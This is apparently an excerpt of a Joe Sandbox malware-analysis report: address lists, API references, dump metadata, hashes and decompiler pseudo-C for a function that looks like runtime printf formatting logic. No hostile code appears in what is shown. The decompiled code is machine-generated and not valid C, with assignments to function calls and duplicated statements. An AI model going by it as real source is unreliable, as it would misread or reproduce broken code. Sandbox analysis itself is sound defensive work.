0x00427958
0x00427958
0x0042795e
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x004278dd
0x004278dd
0x004278e7
0x004278eb
0x004278f3
0x004278fa
0x00427907
0x0042790e
0x0042791a
0x00427920
0x00427927
0x00427929
0x00427929
0x00427930
0x00000000
0x00000000
0x00427dba
0x00427dbd
0x00427dc0
0x00427dc3
0x00000000
0x00000000
0x00427b18
0x00427b18
0x00427b24
0x00427b2a
0x00427b2f
0x00427b31
0x00427bdb
0x00427bde
0x00427bde
0x00427be1
0x00427bf5
0x00427bfb
0x00427c01
0x00427be3
0x00427be3
0x00427bf0
0x00427bf0
0x00427c03
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x00427b37
0x00427b37
0x00427b37
0x00427b39
0x00427b47
0x00427b3b
0x00427b3b
0x00427b3b
0x00427b51
0x00427b57
0x00427b5d
0x00427b64
0x00427b66
0x00427b6b
0x00427b6d
0x00427b72
0x00427b77
0x00427b79
0x00427b7e
0x00427b81
0x00427b84
0x00427b86
0x00427b86
0x00427b84
0x00427b87
0x00427b8e
0x00427bd6
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00427b90
0x00427b90
0x00427b95
0x00427bb1
0x00427bb9
0x00427bc3
0x00427bc6
0x00427bcb
0x004282e8
0x004282f5
0x004282f5
0x00000000
0x00427e1d
0x00427e1d
0x00427e27
0x00427e27
0x00427e2d
0x00427e2f
0x00427e32
0x00427e32
0x00427e38
0x00427e38
0x00427e3b
0x00427e3e
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427ef7
0x00427efb
0x00427f03
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427edc
0x00427ee0
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eb6
0x00427ec2
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9a
0x00427e9e
0x00427ea6
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e6d
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e45
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427a12
0x00427a12
0x00427a16
0x00427a24
0x00427a27
0x00427a18
0x00427a18
0x00427a18
0x00427a2d
0x00427a33
0x00427a39
0x00427a45
0x00427a4b
0x00427a4b
0x00427a51
0x00427ab8
0x00427ab8
0x00427abc
0x00427abe
0x00427ac4
0x00427ac4
0x00427ac7
0x00427aca
0x00427ad0
0x00427ad0
0x00427ad0
0x00427adc
0x00427adf
0x00427ae5
0x00427ae7
0x00000000
0x00000000
0x00427ae9
0x00427ae9
0x00427aef
0x00427af2
0x00427af4
0x00000000
0x00000000
0x00427af6
0x00427afc
0x00427aff
0x00427aff
0x00427b07
0x00427b07
0x00427b0d
0x00427b0d
0x00427b10
0x00000000
0x00427a53
0x00427a53
0x00427a53
0x00427a57
0x00427a59
0x00427a5e
0x00427a5e
0x00427a61
0x00427a68
0x00427a6b
0x00427a71
0x00427a71
0x00427a71
0x00427a7d
0x00427a80
0x00427a86
0x00427a88
0x00000000
0x00000000
0x00427a8a
0x00427a8a
0x00427a90
0x00427a93
0x00427a95
0x00000000
0x00000000
0x00427a97
0x00427a9d
0x00427aa0
0x00427aa0
0x00427aa8
0x00427aae
0x00427ab1
0x00427ab3
0x00427b13
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x00000000
0x00427dcc
0x00427dcc
0x00427e3b
0x00427e3b
0x00427e3e
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427ef7
0x00427efb
0x00427f03
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427edc
0x00427ee0
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eb6
0x00427ec2
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9a
0x00427e9e
0x00427ea6
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e6d
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e45
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00427f17
0x00000000
0x00427de8
0x00427de8
0x00427df2
0x00427df2
0x00427dfc
0x00427dfc
0x00427e02
0x00427e04
0x00427e0e
0x00427e0e
0x00427e11
0x00427e14
0x00427e14
0x00427e3b
0x00427e3b
0x00427e3e
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427ef7
0x00427efb
0x00427f03
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427edc
0x00427ee0
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eb6
0x00427ec2
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9a
0x00427e9e
0x00427ea6
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e6d
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e45
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00427f17
0x00000000
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00000000
0x00000000
0x00427682
0x00427685
0x00427688
0x00000000
0x00000000
0x0042768d
0x00427690
0x00427695
0x00000000
0x00000000
0x00427677
0x00427677
0x0042767a
0x0042767d
0x00000000
0x00000000
0x0042766c
0x0042766f
0x00427672
0x00000000
0x00000000
0x0042769a
0x0042769a
0x0042769d
0x0042769d
0x004276a0
0x00000000
0x00000000
0x004276a3
0x00000000
0x00000000
0x004274fd
0x004282ce
0x004282d4
0x004282dd
0x004282e2
0x00000000
0x004282e2
0x004280c3
0x0042809a
0x0042809a
0x0042809e
0x004280ab
0x004280ae
0x004280b1
0x004280b4
0x004280b7
0x004280ba
0x004280bd
0x004280bd
0x004280c0
0x00000000
0x004280c0
0x004280a0
0x004280a0
0x004280a3
0x004280a6
0x004280a9
0x00000000
0x00000000
0x00000000
0x004280a9
0x00428002
0x00428002
0x00428005
0x00428008
0x0042800f
0x00428016
0x0042801e
0x00428024
0x00428027
0x0042802a
0x00428031
0x0042803d
0x00428043
0x00428049
0x00428050
0x00428052
0x00428058
0x00428058
0x0042805e
0x0042805e
0x00428064
0x00428067
0x0042806d
0x00428072
0x00428075
0x00427fe4
0x00427fe4
0x00427fea
0x00427fed
0x00427ff0
0x00427ff2
0x00000000
0x00000000
0x00000000
0x00427ff2
0x00427fe4
0x00427f24
0x00427f24
0x00427f2b
0x00000000
0x00000000
0x00000000
0x00427f59
0x00427f59
0x00427f5f
0x00427f65
0x00427f6b
0x00000000
0x00427f6b
0x00427e3b
0x00427df2
0x00427ddc

APIs

_get_int64_arg.LIBCMTD ref: 00427E49
__aullrem.LIBCMT ref: 00428016
__aulldiv.LIBCMT ref: 00428038

Strings

9, xrefs: 00428049
0, xrefs: 00427E04

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction ID: 45a77532af6e87b946e886b8d26e7a1b08d32ce56dfb669df2062148b17cca34
Opcode Fuzzy Hash: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction Fuzzy Hash: 47412671E08229CFDB64DF48D989BAEB7B5BF44304F5041DAE409A7240C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C469, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C469(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043CB90(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043CBD0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CB90(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043CBD0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041AEF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AEF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B630(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043CB30( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043CB90(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C5E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043CA24))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043CB30( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43ca5c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA44))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43ca84; // 0xc2919003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA70))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
